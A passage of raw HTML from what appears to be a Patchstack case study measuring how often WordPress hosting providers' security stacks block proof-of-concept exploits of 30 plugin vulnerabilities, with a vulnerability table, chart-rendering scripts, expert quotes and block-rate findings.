        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;It was worrying to see how many of the vulnerabilities were still not addressed by companies that had been tested previously.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/profile-scaled.jpg&quot; class=&quot;wp-image-25325&quot; alt=&quot;Kevin Ohashi&quot;&gt;&lt;span&gt;— &lt;span&gt;Kevin Ohashi, &lt;a href=&quot;http://WPHostingBenchmarks.com&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;WPHostingBenchmarks.com&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;We know WordPress vulnerabilities are &lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2025/&quot;&gt;still on the rise&lt;/a&gt;, and vibe-coding practices will only exacerbate the problem. Furthermore, &lt;a href=&quot;https://www.linkedin.com/feed/update/urn:li:activity:7376823949587906561/&quot;&gt;Google reported&lt;/a&gt; that time-to-exploit metrics hit negative values for the first time in history in 2024, meaning attacks are happening faster than official updates are getting rolled out.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This case study is about looking past the marketing to see how well hosting companies actually defend against vulnerabilities.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Part I – Experiment methodology &amp;amp; setup&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;About this experiment&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;After our initial test was published, we were left with a question. &lt;span style=&quot;box-sizing: border-box; margin: 0px; padding: 0px;&quot;&gt;We knew hosts weren’t blocking the specific major vulnerabilities we had tested, but we wanted to kn&lt;/span&gt;ow what they &lt;em&gt;were&lt;/em&gt; blocking.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The second test series meant more hosts, for a better perspective of the industry as a whole, and more tests encompassing a wider variety of vulnerabilities with a wider range of attack methods, so we could get a real idea of what the industry is and isn’t protecting against.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;On top of that, we decided early on to bring in a group of industry leaders to provide input on our vulnerability selection, test suite, and testing processes, so we could ensure this experiment was as fair as possible.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Based on our original test, we had some assumptions on how the second series’ results would look. During the original test, multiple hosts showed some amount of protection against common, non-WordPress-specific vulnerabilities, such as SQL injection or directory traversal attacks. We expected to see many hosts block these attacks, and as we included significantly more of these non-WordPress-specific tests, we expected the total number of blocked vulnerabilities to increase.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;That said, we also know the reality of protecting against WordPress-specific attacks, vulnerabilities like broken access control, or privilege escalation.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;These types of attacks are generally plugin/theme specific; often require specific knowledge of the request only WordPress knows (such as, “does the user trying to do this have the correct privileges to do so?”); and are essentially impossible to block in a generic way, meaning there’s no “standard” rule a firewall could use to block them.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Based on these factors, and on how poorly the industry did during our original test, we assumed most WordPress-specific vulnerabilities would be successfully exploitable.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Experiment setup – choosing vulnerabilities &amp;amp; target hosts&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With the goals of understanding the hosting ecosystem’s security better, and seeing if our assumptions held water in a broader evaluation, we built the framework for this experiment. First, we constructed a list of vulnerabilities.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Our original tests consisted almost entirely of major vulnerabilities – ones publicly known to be mass-exploited, or which had impacted huge numbers of users.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;For the new experiment, we wanted to go wide rather than focus in on specifics; we selected 20 additional vulnerabilities, all published in either 2025 or 2024, with a goal of covering as many categories as possible, and involving different specific attacks to try and give the hosts we tested the best possible opportunities to block at least some of our attacks.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The final vulnerability selection includes 10 of the original vulnerabilities from our v1 tests (#1-9, #20), as well as 20 new vulnerabilities to expand the total scope.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-table&quot;&gt;&lt;table class=&quot;has-fixed-layout&quot;&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;Plugin&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Privilege Required&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Patchstack Priority Score&lt;/strong&gt;*&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1: DB Backup&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Broken Access Control&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;6.5&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2: TI WooCommerce Wishlist&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;SQL Injection&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.3&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;3: TI WooCommerce Wishlist&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Arbitrary File Upload&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;4: WooCommerce Payments&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Privilege Escalation&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;5: Suretriggers&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Privilege Escalation&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;6: Post SMTP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Broken Authentication&lt;/td&gt;&lt;td&gt;Subscriber&lt;/td&gt;&lt;td&gt;8.8&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;7: GiveWP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;PHP Object Injection&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;8: CSS/JavaScript Toolbox&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Local File Inclusion&lt;/td&gt;&lt;td&gt;Subscriber&lt;/td&gt;&lt;td&gt;7.5&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;9: Litespeed Cache&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Cross Site Scripting&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;10: WP Photo Album Plus&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Arbitrary File Upload&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;11: 4ECPS Webforms&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Arbitrary File Upload&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;12: CleverReach WP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;SQL Injection&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.3&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;13: WP Job Portal&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Arbitrary File Download&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;7.5&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;14: Tainacan&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Arbitrary File Deletion&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;8.6&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;15: WC Multilingual&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Broken Access Control&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;5.3&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;16: File Manager Advanced&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Broken Access Control&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;5.3&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;17: Really Simple SSL&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Cross Site Request Forgery&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;4.3&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;18: PixelYourSite&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Cross Site Request Forgery&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;5.4&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;19: Secure Copy Content Protection&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Cross Site Scripting&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;7.1&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;20: Login/Logout Redirect&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Open Redirection&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;4.7&lt;/td&gt;&lt;td&gt;Low&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;21: Blog Designer Pack&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Local File Inclusion&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;8.1&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;22: JS Support Ticket&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Local File Inclusion&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;8.1&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;23: WP Funnel Manager&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;PHP Object Injection&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;24: Participants Database&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;PHP Object Injection&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;26: Profitori / The E-Commerce ERP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Privilege Escalation&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;26: Spreadsheet Price Changer&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Privilege Escalation&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.8&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;27: Password Policy Manager&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Broken Authentication&lt;/td&gt;&lt;td&gt;Subscriber&lt;/td&gt;&lt;td&gt;8.8&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;28: Easy Stripe&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Remote Code Execution&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;29: PDF2Post&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Remote Code Execution&lt;/td&gt;&lt;td&gt;Subscriber&lt;/td&gt;&lt;td&gt;9.9&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;30: MDFT&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;SQL Injection&lt;/td&gt;&lt;td&gt;Unauthenticated&lt;/td&gt;&lt;td&gt;9.3&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The other major decision made was hosts to test. For this, we again wanted a broad spectrum of coverage. We looked to find both &lt;em&gt;very&lt;/em&gt; large and relatively small hosts, as well as a mix of hosts who prominently advertised their security, as well as those who only mentioned it in passing.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;To perform our tests, we set up each host with a stock WordPress instance. We used the most recent available WordPress version, and the stock Twenty Twenty-Five theme.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If a host provided their own security-related plugins (e.g., Jetpack), we would enable these. Otherwise, no other plugins were enabled. We would also review the host’s dashboard for security options, and ensure those features were enabled.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Executing the test attacks&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;After WordPress was installed, we installed the vulnerable versions of each plugin with a vulnerability we were testing, as well as any plugins they required (e.g., WooCommerce). Once installed, we automatically applied a preset configuration to the site and all plugins, ensuring each testing environment was as identical as possible.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Finally we would attempt to exploit each vulnerability using a prebuilt proof of concept (PoC) exploit. We intentionally kept the PoCs identical in each test and used the simplest reasonable PoCs we could produce. We also did not use any obfuscation or advanced bypass techniques in these attempts.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The goal was to simulate real-life conditions by using the simplest attacks possible, thereby giving the hosts a fair chance to block the exploits.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Part II – Results &amp;amp; findings&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As we had assumed the hosting defences did better compared to our original test results. &lt;strong&gt;On average, hosts managed to block 25.89% of exploit attempts&lt;/strong&gt;, versus 12.8% in the original study.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;However, this means roughly &lt;strong&gt;74% of attacks still succeeded&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In the chart below you can see the breakdown of complete and partial success rates by host and the security setup that was tested:&lt;/p&gt;


&lt;div class=&quot;ps-chart-wrapper wp-block-patchstack-general-blocks-chart-container&quot;&gt;
    &lt;div class=&quot;ps-chart-container&quot;&gt;
        &lt;div class=&quot;ps-chart-container__header&quot;&gt;
            &lt;div class=&quot;ps-chart-container__title-wrapper&quot;&gt;
                &lt;h3 class=&quot;ct-headline ps-chart-container__title&quot;&gt;Vulnerability block rates by host&lt;/h3&gt;
            &lt;/div&gt;
            &lt;img decoding=&quot;async&quot; alt=&quot;&quot; src=&quot;https://patchstack.com/wp-content/uploads/2022/02/Logo-dark.svg&quot; class=&quot;ct-image ps-chart-container__ps-logo&quot; srcset=&quot;&quot; sizes=&quot;(max-width: 184px) 100vw, 184px&quot;&gt;
        &lt;/div&gt;
            &lt;div class=&quot;ps-chart-code&quot; &gt;
            

&lt;div class=&quot;graph_container&quot; style=&quot;height: 600px&quot;&gt;
        &lt;canvas id=&quot;blocks-per-host-anonymous&quot;&gt;&lt;/canvas&gt;
      &lt;/div&gt;

      &lt;script&gt;
        const ctxBlocksPerHostAnonymous = document
          .getElementById(&quot;blocks-per-host-anonymous&quot;)
          .getContext(&quot;2d&quot;);

        const chartBlocksPerHostAnonymous = new Chart(ctxBlocksPerHostAnonymous, {
          type: &quot;bar&quot;,
          options: {
            layout: {
              padding: {
                right: window.innerWidth &lt; 768 ? 0 : 0,
              },
            },
            maintainAspectRatio: false,
            indexAxis: &quot;y&quot;,
            scales: {
              x: {
                stacked: true,
                max: 30,
                grid: {
                  display: true,
                  drawOnChartArea: true,
                  color: &quot;#E4E4E4&quot;,
                },
                border: { display: false },
                ticks: {
                  stepSize: 1,
                },
              },
              y: {
                stacked: true,
                grid: { display: false },
                ticks: {
                  crossAlign: window.innerWidth &lt; 768 ? &quot;far&quot; : &quot;near&quot;,
                  callback: function (value, index) {
                    const label = this.getLabelForValue(index);
                    // Only truncate on mobile
                    if (window.innerWidth &lt; 768) {
                      const maxLength = 20;
                      if (label.length &gt; maxLength) {
                        return label.substring(0, maxLength) + &quot;...&quot;;
                      }
                    }
                    return label;
                  },
                },
                afterFit: function (scaleInstance) {
                  // Dynamically adjust the width based on screen size
                  if (window.innerWidth &lt; 768) {
                    scaleInstance.width = 150; // More space for mobile
                  } else {
                    scaleInstance.width = 430; // Ensure full labels are visible on desktop
                  }
                },
              },
            },
            plugins: {
              legend: { display: false }, // Hide default legend
              tooltip: {
                enabled: true,
                mode: &quot;index&quot;,
                intersect: false,
                interaction: { mode: &quot;index&quot;, axis: &quot;y&quot; },
              },
              datalabels: {
                display: function (context) {
                  // Only show label for the last dataset (top segment) of each bar
                  return (
                    context.datasetIndex ===
                    context.chart.data.datasets.length - 1
                  );
                },
                color: &quot;#000000&quot;, // Always black for better visibility
                anchor: &quot;end&quot;,
                align: &quot;right&quot;,
                formatter: function (value, context) {
                  // Calculate the total for this bar (sum of all segments)
                  const total = context.chart.data.datasets.reduce(
                    (sum, dataset) =&gt; sum + dataset.data[context.dataIndex],
                    0
                  );
                  return total.toLocaleString();
                },
                font: {
                  weight: &quot;bold&quot;,
                },
              },
            },
          },
          data: {
            labels: [
              &quot;Patchstack (control) (93.3%)&quot;,
              &quot;Host 18 (Imunify360 + SiteLock + Internal WAF) (60.7%)&quot;,
              &quot;Host 17 (SShield + ModSecurity + ClamAV) (50.0%)&quot;,
              &quot;Host 16 (Imunify360 + Patchman + Internal WAF) (46.7%)&quot;,
              &quot;Host 15 (Jetpack + Internal WAF) (44.4%)&quot;,
              &quot;Host 12 (Internal WAF) (33.3%)&quot;,
              &quot;Host 13 (Imunify360 + SiteLock + Internal WAF) (33.3%)&quot;,
              &quot;Host 14 (Imunify360+ SiteLock + Cloudflare) (34.5%)&quot;,
              &quot;Host 11 (Imunify360 + ModSecurity + Internal WAF) (26.7%)&quot;,
              &quot;Host 10 (Internal WAF) (20.0%)&quot;,
              &quot;Host 4 (Internal WAF) (16.7%)&quot;,
              &quot;Host 5 (Imunify360 + ModSecurity + Internal WAF) (16.7%)&quot;,
              &quot;Host 6 (Imunify360 + ModSecurity + SiteLock + Patchman) (16.7%)&quot;,
              &quot;Host 7 (Imunify360 + ModSecurity + SiteLock + Cloudflare) (16.7%)&quot;,
              &quot;Host 8 (Cloudflare) (16.7%)&quot;,
              &quot;Host 9 (Imunify360 + ModSecurity + SiteLock + OWASP protection) (17.2%)&quot;,
              &quot;Host 3 (N/A) (13.8%)&quot;,
              &quot;Host 2 (Internal WAF) (10.3%)&quot;,
              &quot;Host 1 (Imunify360+ ModSecurity + Cloudflare) (0.0%)&quot;,
            ],

            datasets: [
              
              {
                data: [28, 15, 14, 13, 10, 9, 10, 10, 8, 5, 3, 4, 5, 5, 5, 5, 1, 3, 0],
                backgroundColor: &quot;#6ebe00&quot;,
                label: &quot;Successful blocks&quot;,
                hidden: false,
              },
              {
                data: [0, 2, 1, 1, 2, 1, 0, 0, 0, 1, 2, 1, 0, 0, 0, 0, 3, 0, 0],
                backgroundColor: &quot;#EFCD64&quot;,
                label: &quot;Partially successful blocks&quot;,
                hidden: false,
              },
              {
                data: [2, 13, 15, 16, 18, 20, 20, 20, 22, 24, 25, 25, 25, 25, 25, 25, 26, 27, 30],
                backgroundColor: &quot;#CE736F&quot;,
                label: &quot;Not blocked&quot;,
                hidden: false,
              },
            ],
          },
        });

        function createCustomLegend(chart, legendContainerId) {
          const legendContainer = document.getElementById(legendContainerId);
          legendContainer.innerHTML = &quot;&quot;; // Clear previous legend

          // Create a container for the &quot;Show:&quot; text and the legend items
          const legendWrapper = document.createElement(&quot;div&quot;);
          legendWrapper.classList.add(&quot;legend-wrapper&quot;);

          // Add &quot;Show:&quot; label at the beginning (to the left)
          const showText = document.createElement(&quot;span&quot;);
          showText.classList.add(&quot;legend-show-text&quot;);
          showText.textContent = &quot;Show:&quot;;
          legendWrapper.appendChild(showText);

          chart.data.datasets.forEach((dataset, index) =&gt; {
            const legendItem = document.createElement(&quot;div&quot;);
            legendItem.classList.add(&quot;legend-item&quot;);
            legendItem.dataset.index = index;

            const colorBox = document.createElement(&quot;span&quot;);
            colorBox.classList.add(&quot;legend-color&quot;);
            colorBox.style.backgroundColor = dataset.backgroundColor;

            const label = document.createElement(&quot;span&quot;);
            label.classList.add(&quot;legend-text&quot;);
            label.textContent = dataset.label;

            // Click event to toggle dataset visibility
            legendItem.addEventListener(&quot;click&quot;, function () {
              const datasetIndex = this.dataset.index;
              chart.data.datasets[datasetIndex].hidden =
                !chart.data.datasets[datasetIndex].hidden;
              chart.update();
              // Toggle opacity for inactive state
              this.classList.toggle(
                &quot;inactive&quot;,
                chart.data.datasets[datasetIndex].hidden
              );
            });

            legendItem.appendChild(colorBox);
            legendItem.appendChild(label);
            legendWrapper.appendChild(legendItem);
          });

          legendContainer.appendChild(legendWrapper);
        }

        createCustomLegend(
          chartBlocksPerHostAnonymous,
          &quot;legend-container-type-breakdown&quot;
        );
      &lt;/script&gt;

        &lt;/div&gt;
            &lt;/div&gt;
    &lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;⚠️ &lt;em&gt;Note:&lt;/em&gt; &lt;em&gt;Host names are hidden, but they are known to the external observers. &lt;/em&gt;&lt;br&gt;&lt;br&gt;After reviewing these results and correlating them with the security solutions each host used, we found some interesting notes on the efficacy of some industry solutions.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;





&lt;h3 class=&quot;wp-block-heading&quot;&gt;Hosting defences mostly ineffective against WordPress  vulnerabilities&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;We found that WordPress-specific vulnerabilities were still the least blocked across all hosts.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Of the &lt;em&gt;high-impact&lt;/em&gt; vulnerabilities, &lt;strong&gt;Privilege Escalation attacks were blocked only 12% of the time.&lt;/strong&gt;&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;The biggest shock was the gap between how many companies describe their security and how it performs in practice. &lt;br&gt;&lt;br&gt;But if you think about it, it is understandable because hosting providers rely on security stacks that promise strong protection, while even the most popular solutions do not provide full coverage.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;span&gt;— &lt;span&gt;Konrad Keck, &lt;a href=&quot;https://www.linkedin.com/in/konradkeck/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;webhosting.today&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;Privilege Escalation is considered one of the most severe types of attacks – once an attacker has gained Administrator privileges, they can edit any content on your website, see any sensitive data (e.g., customer information on an e-Commerce website), or potentially even upload their own malicious PHP files, often bypassing any protections against PHP upload attacks, using WordPress’ built in tools for plugin/theme management.&lt;/p&gt;


&lt;div class=&quot;ps-chart-wrapper wp-block-patchstack-general-blocks-chart-container&quot;&gt;
    &lt;div class=&quot;ps-chart-container&quot;&gt;
        &lt;div class=&quot;ps-chart-container__header&quot;&gt;
            &lt;div class=&quot;ps-chart-container__title-wrapper&quot;&gt;
                &lt;h3 class=&quot;ct-headline ps-chart-container__title&quot;&gt;Successful attack rates per vulnerability (Patchstack excluded)&lt;/h3&gt;
            &lt;/div&gt;
            &lt;img decoding=&quot;async&quot; alt=&quot;&quot; src=&quot;https://patchstack.com/wp-content/uploads/2022/02/Logo-dark.svg&quot; class=&quot;ct-image ps-chart-container__ps-logo&quot; srcset=&quot;&quot; sizes=&quot;(max-width: 184px) 100vw, 184px&quot;&gt;
        &lt;/div&gt;
            &lt;div class=&quot;ps-chart-code&quot; &gt;
            

&lt;div class=&quot;graph_container&quot; style=&quot;height: 900px&quot;&gt;
        &lt;canvas id=&quot;attacks-per-vulnerability&quot;&gt;&lt;/canvas&gt;
      &lt;/div&gt;

      &lt;script&gt;
